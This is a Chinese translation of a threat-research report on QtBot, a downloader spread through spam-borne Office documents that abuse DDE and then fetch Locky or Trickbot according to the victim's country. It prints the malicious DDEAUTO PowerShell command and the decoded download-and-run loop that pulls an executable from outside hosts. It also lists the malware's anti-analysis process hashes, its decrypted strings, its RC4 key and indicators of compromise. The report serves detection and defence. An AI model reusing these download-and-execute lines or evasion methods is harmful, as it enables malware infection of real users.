译者:WisFree
预估稿费:200RMB
投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿
介绍
很多共享垃圾邮件活动的主要目的就是为了传播恶意软件,其中最常见的就是Locky勒索软件以及Trickbot木马了。很多恶意软件研究专家都认为,这类恶意网络活动的Payload都是基于地理位置来选择攻击目标的。在此之前,这类攻击一般都是通过一种相对简单的VBA脚本控制的,这种脚本可以使用GeoIP查询服务并通过解析国家代码来确定被入侵的主机所在地理位置。在获取到这些信息之后,VBA脚本将会进入一个循环并查询国家代码,例如UK、IE、AU、GB、LU或BE等等,如果检测到了这些国家代码,脚本将会下载并执行Trickbot。如果检测失败,脚本将会下载并安装Locky。
近期,Unit42的研究人员Brad Duncan发现,Necurs垃圾邮件活动正在传播利用DDE实施感染的微软Office文档。这些恶意文档会加载一个下载器,我们将其标记为“QtBot”。QtBot会替换掉之前所介绍的那个VBA脚本,并安装一个反分析工具来保护自己。这种新型的下载器负责加载最终的Payload,即Locky或Trickbot。据了解,自2017年10月19日起,Palo Alto Networks已经发现了四百多万次单独的QtBot活动。
攻击诱饵
恶意DDE文档会作为垃圾邮件的附件来进行传播,样本如下图所示(发现于2017年10月24日):
这个恶意邮件样本中带有一个恶意文档,该文档会使用DDE来安装恶意Payload。
一般来说,这种诱饵文件的攻击成功率还是比较高的,大多数诱饵文件一般都是以“财务报表”(发票、账单或收据)或者“文件传输”(传真或扫描文件)为邮件主题的。在这种攻击活动中,攻击者需要想办法让目标用户下载并打开邮件附件,然后点击一系列对话框。我们的附件样本(b92218314ffdc450320f1d44d8a2fe163c585827d9ca3e9a00cb2ea0e27f0c9)中包含以下DDE对象:
DDEAUTO C:\Windows\System32\cmd.exe "/k powershell.exe -NonI -
noexit -NoP -sta $sr=(new-object IO.StreamReader
((([Net.WebRequest]::Create('hXXp://burka.ch/JHhdg33')).GetResponse())
.GetResponseStream())).ReadToEnd();powershell.exe -e $sr"
网络流量
当用户点击了三个对话框之后,恶意Payload会发送如下图所示的HTTP GET请求。有意思的是,其中的初始命令控制服务器很可能是一个被入侵的Web主机,估计主机运行的是包含漏洞的PLESK,这一点可以从HTTP响应信息中的X-Powered-By头中了解到。
将请求中的Base64编码数据进行解码之后,我们得到了如下所示的信息:
$urls = "hXXp://aurea-
art[.]ru/incrHG32","hXXp://castellodimontegioco[.]com/incrHG32","hXXp:
//nl.flipcapella[.]com/incrHG32","hXXp://dotecnia[.]cl/incrHG32","hXXp
://christakranzl[.]at/incrHG32"
foreach($url in $urls){
Try
{
Write-Host $url
$fp = "$env:temptheyweare64.exe"
Write-Host $fp
$wc = New-Object System.Net.WebClient
$wc.DownloadFile($url, $fp)
Start-Process $fp
break
}
Catch
{
Write-Host $_.Exception.Message
}
}
上述代码会一直循环运行直到找出一个可用的下载地址,当一个可用的命令控制服务器响应之后,QtBot代码(798aa42748dcb1078824c2027cf6a0d151c14e945cb902382fcd9ae646bfa120)将会以明文形式下载。下图中显示的是QtBot下载器所下载的恶意代码:
QtBot代码下载完成之后,Payload将会使用PowerShell来执行它(代码存储在%temp%目录中)。当QtBot开始运行之后,它首先会通过一个HTTP POST请求来与合法域名ds.download.windowsupdate[.]com进行连接,以此来进行网络检测。
最后,链接检测通过之后,QtBot将会使用一个HTTP POST请求(带有RC4加密的Payload)来与其真正的命令控制服务器建立连接,并等待响应(响应信息使用相同的RC4密钥进行加密)。
在分析网络流量的过程中,我们所使用的QtBot样本(d97be402740f6a0fc70c90751f499943bf26f7c00791d46432889f1bedf9dbd2)的命令控制服务器仍然是活跃的,并且还托管着基于地理位置的Payload。流量信息如下所示:
恶意程序会将数据回传给命令控制服务器,并确定目标用户的地理位置。由于我们当时使用的是UK地区的节点,因此它下载的是Trickbot。我们接收到的是经过加密的Trickbot Payload。我们对请求中的Trickbot Payload(4fcee2679cc65585cc1c1c7baa020ec262a2b7fb9b8dc7529a8f73fab029afad)进行解密之后得到了如下图所示的信息:
在下面的这张图片中,我们可以看到一段主机POST数据回传给命令控制服务器,并接收到了一段与之前有些许不同的响应信息。这是因为主机所在的地理位置与Trickbot的传播定位不一样所导致的,因此我们这一次(地理位置:CA节点)所得到的应该是Locky Payload。
下图显示的是另一种不同的Payload,因为我们这一次使用的是不同的地理位置节点。这个Payload是一段经过加密的Locky代码,解密后的代码为9d2ce15fd9112d52fa09c543527ef0b5bf07eb4c07794931c5768e403c167d49。
分析完了Payload的传播过程,接下来我们来分析一下QtBot。
QtBot分析
QtBot下载器是一个Windows可执行文件,这个Payload会使用一些常见的技术来注入到msiexec.exe之中。接下来,Payload会解密第二阶段的shellcode并将其注入一个新生成的svchost.exe进程之中,而这个svchost.exe则是最终Payload的处理器。
当QtBot首次执行时,会生成一个新的线程来进行进程扫描。这种进程扫描的作用是为了识别并查找安全分析工具,如果找到了,则立刻终止恶意软件的执行。这种检测是通过代码循环实现的,并且会定时运行。下面给出的哈希值可以用来检测正在运行中的进程:
0x171AF567
0xB713B22E
0x59F3573F - wireshark.exe
0xA9275283 - peid.exe
0x2C533BA3
0xB1FDD418 - x64dbg.exe
0xA7B71C08
0x5BBA66D5
0xFD62D761
0xB01C9DA9 - cff explorer.exe
0xE7AC4C20
0x8718A391 - procexp.exe
0x817D523A - ollydbg.exe
0x9A65393D - lordpe.exe
0x4B1B38C6 - processhacker.exe
0xBD46C402
0x72472F0B - tcpview.exe
0x151648CD
0x4A694A06 - vboxservice.exe
0x956511A3 - sbiesvc.exe
0x09D19890 - vmtoolsd.exe
0x70383CD2
0x40C795F0 - petools.exe
0x6D2607D8 - exeinfope.exe
0x4D9803BC - vboxtray.exe
0x29FBEE3C - windbg.exe
0x0872D0FC
0x28F7E9A8 - idaq.exe
0x3D0598D0 - x32dbg.exe
0x1D141E5D
0xFCB2810C - python.exe
0x2AA827DB
0xCA9B2CDE
0x75F4F636 - procmon.exe
接下来,Payload会使用注册表键“HKCUSoftwareQtProject”来随机生成数字互斥体(Mutex)。在此之前,这个注册表键主要应用在合法的Qt框架之中,其本身并不具备恶意性。
当互斥体和注册表字符串创建成功之后,恶意软件会使用RC4以及一个硬编码密钥来解密下面这端代码所生成的数字字符串(字符串来自于798aa42748dcb1078824c2027cf6a0d151c14e945cb902382fcd9ae646bfa120):
cmd.exe
SoftwareMicrosoftWindowsCurrentVersion
boom
http://toundlefa.net/
SoftwareQtProject
msiexec.exe
svchost.exe
/c start %s && exit
cmd.exe
System32CompMgmtLauncher.exe
runas
SoftwareClassesmscfile
shellopencommand
tmp_file
SoftwareMicrosoftWindowsCurrentVersion
PoliciesExplorer
Run
Check Update
POST
Content-Type: application/octet-stream
Connection: close
DZCW
6VK3
regsvr32.exe
http://ds.download.windowsupdate.com/
{"rep":0,"bid":"%s","ver":%d,"cam":"%s","cis":%d,"lvl":%d,"adm":%d,"bit":%d,"osv":%d,"osb":%d,"tmt":%d}
{"rep":1,"bid":"%s","tid":"%s","res":%d}
在整个攻击活动中,这个硬编码RC4密钥(0x7A3C5B7CB7FCE715702AA0F4F4EC0935E759FD3B7B6BCC70159D61CF42814B81)需要重复使用,它负责对网络通信数据进行加密和解密。
QtBot还包含一个检测功能,它可以检测前苏联国家用户的键盘布局,如果找到的话,则立刻终止恶意软件的执行。负责这个过程的代码如下所示:
为了实现持久化感染,恶意软件还会生成一个临时文件(随机命名)并将其存储在%APPDATA%LocalTemp目录下一个随机命名的文件夹之中。
随机生成的文件夹名称值存储在注册表键“HKCUSoftwareQtProject”的“0FAD2D5E”值之中。除此之外,恶意软件还会在这个键中存储其他额外的加密数据:
“0FAD2D5E” – 随机值 + Unicode临时文件名 + 数据块长度
“0FAD2D5EDZCW” – RC4加密的C2域名
正常的恶意软件通信会使用如下所示的格式化字符串:
{"rep":0,"bid":"%s","ver":%d,"cam":"%s","cis":%d,"lvl":%d,"adm":%d,"bit":%d,"osv":%d,"osb":%d,"tmt":%d}
字符串填充完数据之后的情况大致如下所示:
{"rep":0,"bid":"LD0fJMblnCbrDT8Mvma4Rg==","ver":256,"cam":"nightboom","cis":0,"lvl":1228
8,"adm":1,"bit":1,"osv":1537,"osb":7601,"tmt":30}
其中有些值的真实用意我们现在还尚不清楚,但我们可以大致猜到它们的意思:
“rep” – 重复尝试与单一主机通信;
“bid” – 代码验证,这个值存储在注册表值“0FAD2D5E”之中,并且使用了RC4加密;
“ver” – 估计是恶意软件版本信息;
“cam” – 活动名;
“cis” – 未知的硬编码值;
“lvl” – 系统完整性等级;
“adm” – 判断恶意软件是否拥有管理员权限;
“bit” – 未知;
“osv” – 操作系统版本号;
“osb” – 操作系统构建号;
“tmt” – timeout,单位为s;
总结
这种针对特定地理位置用户的恶意软件在此之前也有很多,所以这也并不算什么新鲜事儿了。本文所分析的恶意软件样本在一个单独的垃圾邮件活动中同时结合使用了两种完全不同的恶意软件家族,这也是一种非常新颖的技术策略。除此之外,QtBot还采用了多种机制来保护自己,而且在它的决策树中攻击目标范围都是已经确定了的,并且还自带了多种反分析包来增加分析和检测的难度。
Palo Alto Networks已经发现了超过四百万次与QtBot有关的攻击事件,广大用户可以使用Wildfire来保护自己免受这种威胁的侵害。
注:我们需要感谢Proofpoint的研究专家,他们是第一个发现这种安全威胁的研究人员,并其识别为“QtLoader”。除此之外,QtBot与之前的Andromeda非常相似,它们不仅都可以对运行中的进程哈希进行检测,而且还引入了类似的反分析方法,更重要的是,它们的恶意代码注入目标都是msiexec.exe。
入侵威胁指标IoC
798aa42748dcb1078824c2027cf6a0d151c14e945cb902382fcd9ae646bfa120 – QtBot
bb92218314ffdc450320f1d44d8a2fe163c585827d9ca3e9a00cb2ea0e27f0c9 – DDE Dropper
9d2ce15fd9112d52fa09c543527ef0b5bf07eb4c07794931c5768e403c167d49 – Locky
4fcee2679cc65585cc1c1c7baa020ec262a2b7fb9b8dc7529a8f73fab029afad – Trickbot
hXXp://hobystube[.]net – Locky下载地址
hXXp://kengray[.]com – Trickbot下载地址
hXXp://fetchstats[.]net – QtBot C2
hXXp://toundlefa[.]net – QtBot C2
hXXp://aurea-art[.]ru/incrHG32
hXXp://castellodimontegioco[.]com/incrHG32
hXXp://nl.flipcapella[.]com/incrHG32
hXXp://dotecnia[.]cl/incrHG32
hXXp://christakranzl[.]at/incrHG32
hXXp://burka[.]ch/JHhdg33
hXXp://celebrityonline[.]cz